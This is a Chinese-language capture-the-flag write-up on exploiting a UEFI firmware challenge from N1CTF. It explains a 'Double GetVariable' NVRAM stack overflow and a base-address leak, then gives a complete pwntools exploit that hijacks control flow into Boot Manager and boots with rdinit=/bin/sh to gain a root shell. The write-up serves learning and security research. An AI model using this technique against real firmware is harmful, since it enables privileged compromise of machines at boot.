close

作者:Rivaille@知道創宇404實驗室日期:2022年11月10日

周末的時候打了n1ctf,遇到一道uefi相關的題目,我比較感興趣,之前就想學習一下安全啟動相關的東西,這次正好趁着這個機會入門一下。
周天做的時候,一直卡在一個點上,沒有多去找找資料屬實敗筆。

題目分析


先解包OVMF.fd文件,用uefi-firmware-parse這個工具:

uefi-firmware-parser -ecO ./OVMF.fd

簡單看一下解包後的目錄,大致判斷BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880這個目錄中。

通過對UiApp字符串的查找,基本判斷UiApp是在volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0目錄下。

連按f12進入BIOS之後,可以看到UiApp一閃而過,然後看到了熟悉的菜單,找找關鍵的字符串,就確定了對應的二進制文件。

現在需要修改一下啟動腳本,讓腳本啟動OVMF.fd之後掛住,然後gdb attach進行調試。

import os, subprocessimport randomdef main(): try: os.system("rm -f OVMF.fd") os.system("cp OVMF.fd.bak OVMF.fd") ret = subprocess.call([ "qemu-system-x86_64", "-m", str(256+random.randint(0, 512)), "-drive", "if=pflash,format=raw,file=OVMF.fd", "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-monitor", "/dev/null", "-s","-S", "-nographic" ]) print("Return:", ret) except Exception as e: print(e) print("Error!") finally: print("Done.")if __name__ == "__main__": main()

了解過操作系統的朋友們應該知道,操作系統的加載過程分為三步:BIOS固件(或者說是UEFI)的內存地址是寫死的,通過BIOS加載bootloader,再通過bootloader去完成對操作系統鏡像的加載。gdb attach之後,我們看到程序斷在了0xfff0地址處,這個應該就是BIOS的基址了。





漏洞分析


進入UiApp之後沒有直接到Boot Manager界面,而是到了菜單界面,猜測一下這是需要解題者hacker掉這個菜單,劫持控制流到BIOS中可以獲取高權限shell的地方。通過查找關鍵字,鎖定了目標程序:file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe。

通過winchecksec查看開啟的保護機制:

然後通過關鍵字很快就定位到了出題人加的菜單函數中,但是很煩的事情是,我發現ida不能正確識別函數參數:

反匯編之後的結果成了這個鳥樣:

通過查找資料以及逆向分析,還原出了gRT這個結構體,其中有兩個比較重要的成員函數:gRT->SetVariable將棧中的值寫入鍵值對,gRT->GetVariable將鍵值對中的值拷貝到棧中。經過分析,大概判斷是要通過gRT->GetVariable來實現棧溢出,完成對控制流的劫持。
但是溢出點在哪裡呢?當時在比賽過程中一直卡在這兒,最失誤的一點就是沒有多google一下,一直在蒙頭做題。在賽後和Mr.R師傅交流的過程中,得知這道題考察的是UEFI中一種常見的漏洞模式:Double GetVariable。

漏洞原理是這樣的:GetVariable在第一次從nvram取值寫入棧中時,如果nvram變量的長度不為1,datasize的長度會被改寫為對應nvram變量的長度。第二次調用GetVariable函數時,如果對datasize未做初始化,就有可能造成溢出。

相關漏洞可以參考一下這篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比賽時候還是得多google一下)。

回到Encode函數,我們看到函數從N1CTF_KEY中取值寫入棧,然後和buffer中的值進行異或運算。而Add函數可以重新寫入nvram變量,且寫入的字符串最大長度為256字節,就是說我們可以通過Add覆蓋掉之前定義的N1CTF_KEY1,N1CTF_KEY2,N1CTF_KEY3這三個變量的值。我們覆寫N1CTF_KEY1的值為a*0x1c,覆寫N1CTF_KEY2的值為a*0x18+p32(boot_addr),然後設置一個nvram變量OVERFLOW,使其長度為0x11個字節,然後進入Encode函數,對OVERFLOW的值進行編碼,這樣第一次讀取N1CTF_KEY1改寫datasize,第二次讀取N1CTF_KEY2就可以溢出到函數的返回地址處,劫持rip寄存器,使其跳轉到boot manager的設置界面,獲取root shell。

這裡的pwn函數就是出題人加的存在漏洞的函數,我們可以把控制流劫持到後面的else的基本塊中去,然後應該可以正常進入Boot Manager的界面。




動態調試


動態調試
首先要確定UiApp加載的基址,一個很好的辦法是對內存中特定的指令序列進行搜索,比如說我們在ida裡面找到這條指令。

第二個地址減去偏移就是程序的基址。

調試的過程中會發現一個問題:雖然winchecksec檢查程序沒有開啟aslr,但是實際上UiApp的加載基址是在變化的。所以需要泄露.text段的一個內存地址,才能成功把返回地址覆寫成boot manager對應的地址。

在調試的過程中,我發現當Add設置的字符串長度等於256個字節時,會打印出一個地址。通過多次嘗試,我發現這個地址和UiApp的基址的偏移一定程度上是固定,為0x1d009c0或者0x1e009c0,通過泄露出的地址減去偏移實際上也就得到了UiApp的基址。





漏洞利用


和圖形化界面進行交互,pwntools確實還存在一些問題,所以可以通過socat來進行連接。最終exp如下:

from pwn import *context.log_level = "debug"context.arch = "amd64"boot_offset = 0x235Auiapp_offset = 0x1e009c0DEBUG = 1if DEBUG == 1: ''' fname = "/tmp/uefi" os.system("cp OVMF.fd %s"%fname) os.system("chmod u+w %s"%fname) ''' p = process([ "qemu-system-x86_64", "-m", str(256+random.randint(0, 512)), "-drive", "if=pflash,format=raw,file=OVMF.fd", "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-monitor", "/dev/null", #"-s","-S", "-nographic" ])else : p = remote("47.243.105.43","9999")LOCAL_REMOTE = 0if LOCAL_REMOTE: os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")key_map = { "up": b"\x1b[A", "down": b"\x1b[B", "left": b"\x1b[D", "right": b"\x1b[C", "esc": b"\x1b^[", "enter": b"\r", "tab": b"\t"}def send_key(key,times = 1): for _ in range(times): p.send(key_map[key]) if key == "enter": p.recv()def add(Keyname,Keyvalue): p.sendlineafter("> \n",str(1)) p.sendlineafter('Key name:\n',Keyname) p.sendlineafter('Key value:\n',Keyvalue)def delete(Keyname,Keyvalue): p.sendlineafter("> \n",str(2)) p.sendlineafter('Key name:\n',Keyname)def Encode(Keyname): p.sendlineafter("> \n",str(4)) p.sendlineafter("Key name:\n",Keyname) p.recv()def exp(): # leak UiAPP address p.sendline("\x1b[24~"*10) p.sendlineafter("> \n",str(1)) p.sendlineafter("Key name:\n","N1CTF_KEY3") p.sendafter("Key value:\n",'a'*256) p.recvuntil('Encode\n> \n') p.sendline(str(3)) p.recvuntil("Key name:\n") p.sendline('N1CTF_KEY3') p.recvuntil('Value: \n') p.recvuntil('a'*256) data = p.recvuntil('\n').strip('\n') leak_addr,i,j = 0,0,0 while i < len(data): print(data[i]) if data[i] == "\\": n = int(data[i+2],16)*0x10 + int(data[i+3],16) i += 4 else: n = ord(data[i]) i += 1 leak_addr += n * (0x100**j) j += 1 uiapp_base_addr = leak_addr - uiapp_offset log.success("leak address: %s"%hex(leak_addr)) log.success("UiApp address: %s"%hex(uiapp_base_addr)) boot_addr = uiapp_base_addr + boot_offset pause() # statck overflow payload = 'a'*0x18 + p32(boot_addr) add("N1CTF_KEY1",payload) add("N1CTF_KEY2",payload) add("OVERFLOW",'a'*0x11) p.recvuntil("> \n") p.sendline('4') p.recvuntil('Key name:\n') p.sendline('OVERFLOW') # Add option,get root shell p.recvuntil(b"Standard PC") send_key("down", 3) send_key("enter") send_key("enter") send_key("down") send_key("enter") send_key("enter") send_key("down", 3) send_key("enter") p.send(b"\rrootshell\r") send_key("down") p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r") send_key("down") send_key("enter") send_key("up") send_key("enter") send_key("esc") send_key("enter") send_key("down", 3) send_key("enter") # root shell # p.sendlineafter(b"/ #", b"cat /flag") p.interactive()def main(): exp()if __name__ == "__main__": main()





參考資料


參考資料

https://www.anquanke.com/post/id/243007#h2-0

https://eqqie.cn/index.php/archives/1929

https://github.com/topics/uefi-pwn


作者名片


END



往期熱門
(點擊圖片跳轉)

戳「閱讀原文」更多精彩內容!
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()